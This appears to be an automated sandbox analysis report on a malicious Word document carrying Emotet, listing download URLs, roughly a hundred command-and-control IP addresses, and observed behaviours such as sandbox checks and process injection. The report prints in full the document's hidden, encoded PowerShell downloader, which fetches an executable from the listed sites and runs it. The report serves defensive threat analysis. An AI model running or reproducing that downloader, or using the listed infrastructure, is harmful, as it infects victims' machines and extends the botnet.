Analysis
-
max time kernel
151s -
resource
win10v191014 -
submitted
12-12-2019 13:04
Task
task1
Sample
Docs_cc7d6d8e28fce962e81a6ba5c82f29bb.94.doc
Resource
win7v191014
General
Malware Config
Extracted
http://acqua.solarcytec.com/rtsbgs/XiWmtYYur/
https://blog.learncy.net/wp-admin/user/oxZqQp/
http://hospitalsanrafael.ainimedina.com/wp-includes/vwf-i8ge-4445917/
https://sg771.kwikfunnels.com/phpmyadmin_bck/x9tfn-lv1h4-174129596/
http://www.siyinjichangjia.com/wp-content/WYszsP/
Extracted
emotet
190.146.14.143:443
85.235.219.74:80
78.187.204.70:80
46.105.128.215:8080
69.30.205.162:7080
192.161.190.171:8080
163.172.97.112:8080
86.98.157.3:80
113.52.135.33:7080
175.127.140.68:80
212.129.14.27:8080
200.41.121.69:443
143.95.101.72:8080
190.161.67.63:80
50.116.78.109:8080
37.46.129.215:8080
119.57.36.54:8080
212.112.113.235:80
46.105.131.68:8080
1.32.54.12:8080
139.59.12.63:8080
190.5.162.204:80
83.99.211.160:80
67.254.196.78:443
187.250.92.82:80
83.110.107.243:443
124.150.175.129:8080
123.142.37.165:80
24.28.178.71:80
190.189.79.73:80
182.176.116.139:995
86.70.224.211:80
190.171.135.235:80
115.179.91.58:80
41.218.118.66:80
85.109.190.235:443
178.134.1.238:80
95.216.207.86:7080
142.93.87.198:8080
81.82.247.216:80
95.216.212.157:8080
86.6.123.109:80
165.100.148.200:443
24.27.122.202:80
176.58.93.123:80
193.33.38.208:443
67.171.182.231:80
190.101.87.170:80
185.244.167.25:443
46.17.6.116:8080
82.79.244.92:80
181.44.166.242:80
77.245.12.212:80
158.69.167.246:8080
191.100.24.201:50000
189.225.211.171:443
181.47.235.26:993
174.57.150.13:8080
200.71.112.158:53
41.77.74.214:443
78.46.87.133:8080
192.241.220.183:8080
172.104.70.207:8080
42.51.192.231:8080
124.150.175.133:80
201.196.15.79:990
23.253.207.142:8080
221.154.59.110:80
210.224.65.117:80
60.53.3.153:8080
195.250.143.182:80
51.38.134.203:8080
89.215.225.15:80
138.197.140.163:8080
201.183.251.100:80
128.92.54.20:80
5.189.148.98:8080
110.142.161.90:80
175.103.239.50:80
195.191.107.67:80
189.61.200.9:443
192.210.217.94:8080
98.15.140.226:80
58.93.151.148:80
100.38.11.243:80
103.122.75.218:80
91.117.31.181:80
198.57.217.170:8080
122.11.164.183:80
37.59.24.25:8080
210.111.160.220:80
162.144.46.90:8080
83.156.88.159:80
78.186.102.195:80
211.218.105.101:80
187.233.220.93:443
172.90.70.168:443
72.69.99.47:80
177.103.201.23:80
72.27.212.209:8080
119.159.150.176:443
216.75.37.196:8080
188.230.134.205:80
153.190.41.185:80
45.129.121.222:443
Signatures
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Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 3656 Powershell.exe -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 5000 WINWORD.EXE -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 3656 Powershell.exe -
Suspicious use of SetWindowsHookEx 5 IoCs
pid Process 5000 WINWORD.EXE 4388 177.exe 4264 177.exe 608 netshcors.exe 836 netshcors.exe -
Suspicious behavior: EmotetMutantsSpam 2 IoCs
pid Process 4264 177.exe 836 netshcors.exe -
description ioc Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Security Center\cval = "0" Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Security Center\cval = "1" -
Drops file in System32 directory 1 IoCs
description ioc Process File renamed C:\Users\Admin\177.exe => C:\Windows\SysWOW64\netshcors.exe 177.exe -
Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 -
Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 5000 WINWORD.EXE -
Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 4600 wrote to memory of 4776 4600 SppExtComObj.exe 77 PID 3656 wrote to memory of 4388 3656 Powershell.exe 79 PID 4388 wrote to memory of 4264 4388 177.exe 80 PID 608 wrote to memory of 836 608 netshcors.exe 89 -
Checks system information in the registry 2 TTPs 2 IoCs
System information is often read in order to detect sandboxing environments.
description ioc Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemManufacturer Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemProductName -
Drops file in Windows directory 1 IoCs
description ioc Process File opened for modification C:\Windows\Debug\ESE.TXT svchost.exe -
Executes dropped EXE 4 IoCs
pid Process 4388 177.exe 4264 177.exe 608 netshcors.exe 836 netshcors.exe
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Docs_cc7d6d8e28fce962e81a6ba5c82f29bb.94.doc" /o ""1⤵
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of FindShellTrayWindow
PID:5000
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C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exePowershell -w hidden -en JABZAGwAcABnAGQAegBtAGIAPQAnAFUAcwBzAGIAYgBtAHoAaAB1AGgAeABrAGUAJwA7ACQATABnAGUAZABrAGsAZABxAHcAIAA9ACAAJwAxADcANwAnADsAJABJAHoAegBxAHoAaABxAHoAdAB5AHoAPQAnAEEAaQBkAHcAagBxAG4AbABjAGoAeABlAGoAJwA7ACQARABiAGIAcwBrAHAAdwBhAHoAdgBmAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABMAGcAZQBkAGsAawBkAHEAdwArACcALgBlAHgAZQAnADsAJABFAG4AaABsAGsAcABxAG0APQAnAFkAbQBjAHQAaABjAG4AagBrAHUAeQAnADsAJABCAHkAdwB3AG0AegB5AHAAbgBlAD0AJgAoACcAbgBlAHcAJwArACcALQBvACcAKwAnAGIAagAnACsAJwBlAGMAdAAnACkAIABOAGUAVAAuAFcARQBCAEMATABJAEUAbgBUADsAJABGAGkAdgBsAHcAbAB6AG8AeQB1AHUAdABsAD0AJwBoAHQAdABwADoALwAvAGEAYwBxAHUAYQAuAHMAbwBsAGEAcgBjAHkAdABlAGMALgBjAG8AbQAvAHIAdABzAGIAZwBzAC8AWABpAFcAbQB0AFkAWQB1AHIALwAqAGgAdAB0AHAAcwA6AC8ALwBiAGwAbwBnAC4AbABlAGEAcgBuAGMAeQAuAG4AZQB0AC8AdwBwAC0AYQBkAG0AaQBuAC8AdQBzAGUAcgAvAG8AeABaAHEAUQBwAC8AKgBoAHQAdABwADoALwAvAGgAbwBzAHAAaQB0AGEAbABzAGEAbgByAGEAZgBhAGUAbAAuAGEAaQBuAGkAbQBlAGQAaQBuAGEALgBjAG8AbQAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvAHYAdwBmAC0AaQA4AGcAZQAtADQANAA0ADUAOQAxADcALwAqAGgAdAB0AHAAcwA6AC8ALwBzAGcANwA3ADEALgBrAHcAaQBrAGYAdQBuAG4AZQBsAHMALgBjAG8AbQAvAHAAaABwAG0AeQBhAGQAbQBpAG4AXwBiAGMAawAvAHgAOQB0AGYAbgAtAGwAdgAxAGgANAAtADEANwA0ADEAMgA5ADUAOQA2AC8AKgBoAHQAdABwADoALwAvAHcAdwB3AC4AcwBpAHkAaQBuAGoAaQBjAGgAYQBuAGcAagBpAGEALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBXAFkAcwB6AHMAUAAvACcALgAiAFMAYABQAGwASQB0ACIAKAAnACoAJwApADsAJABVAG4AaABjAGcAcQBiAG0AcABmAG0APQAnAFIAbgBmAGgAagB3AGIAaABsACcAOwBmAG8AcgBlAGEAYwBoACgAJABIAHQAYwBjAG0AbABwAGMAcwBsAGsAagAgAGkAbgAgACQARgBpAHYAbAB3AGwAegBvAHkAdQB1AHQAbAApAHsAdAByAHkAewAkAEIAeQB3AHcAbQB6AHkAcABuAGUALgAiAEQAbwB3AE4AbABvAGAAQQBkAGYAYABJAEwAZQAiACgAJABIAHQAYwBjAG0AbABwAGMAcwBsAGsAagAsACAAJABEAGIAYgBzAGsAcAB3AGEAegB2AGYAKQA7ACQAUwB1AGcAawB1AHoAaQBmAGwAeQA9ACcAQwBuAGoAdgBhAGMAaQBnAHEAeQBhAGwAegAnADsASQBmACAAKAAoACYAKAAnAEcAJwArACcAZQB0AC0ASQB0AGUAJwArACcAbQAnACkAIAAkAEQAYgBiAHMAawBwAHcAYQB6AHYAZgApAC4AIgBMAGAARQBOAGcAYABUAGgAIgAgAC0AZwBlACAAMgAyADkAMAA1ACkAIAB7AFsARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgAiAFMAdABhAGAAUgB0ACIAKAAkAEQAYgBiAHMAawBwAHcAYQB6AHYAZgApADsAJABDAHIAZwBpAGsAdwBqAGwAawBxAD0AJwBYAGgAagBoAGUAcQBkAHQAegBhAGEAJwA7AGIAcgBlAGEAawA7ACQAVwB2AHQAdQB2AGwAcgB3AD0AJwBUAHMAZQBuAGYAZQB5AGwAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAUgBqAGoAcAB0AGcAaQBhAGsAawA9ACcAQgBmAG4AYgBwAHIAcABmAGEAdQBhACcA1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3656 -
C:\Users\Admin\177.exe"C:\Users\Admin\177.exe"2⤵
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
- Executes dropped EXE
PID:4388 -
C:\Users\Admin\177.exe--653e7fcf3⤵
- Suspicious use of SetWindowsHookEx
- Suspicious behavior: EmotetMutantsSpam
- Drops file in System32 directory
- Executes dropped EXE
PID:4264
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-
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C:\Windows\system32\SppExtComObj.exeC:\Windows\system32\SppExtComObj.exe -Embedding1⤵
- Suspicious use of WriteProcessMemory
PID:4600 -
C:\Windows\System32\SLUI.exe"C:\Windows\System32\SLUI.exe" RuleId=eeba1977-569e-4571-b639-7623d8bfecc0;Action=AutoActivate;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=2de67392-b7a7-462a-b1ca-108dd189f588;NotificationInterval=1440;Trigger=TimerEvent2⤵PID:4776
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\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s BITS1⤵
- Drops file in Windows directory
PID:4240
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\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localserviceandnoimpersonation -s SSDPSRV1⤵PID:4212
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\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s DoSvc1⤵PID:2440
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\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k unistacksvcgroup1⤵PID:3392
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\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localservicenetworkrestricted -s wscsvc1⤵PID:5016
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C:\Windows\SysWOW64\netshcors.exe"C:\Windows\SysWOW64\netshcors.exe"1⤵
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
- Executes dropped EXE
PID:608 -
C:\Windows\SysWOW64\netshcors.exe--f38bb4f52⤵
- Suspicious use of SetWindowsHookEx
- Suspicious behavior: EmotetMutantsSpam
- Executes dropped EXE
PID:836
-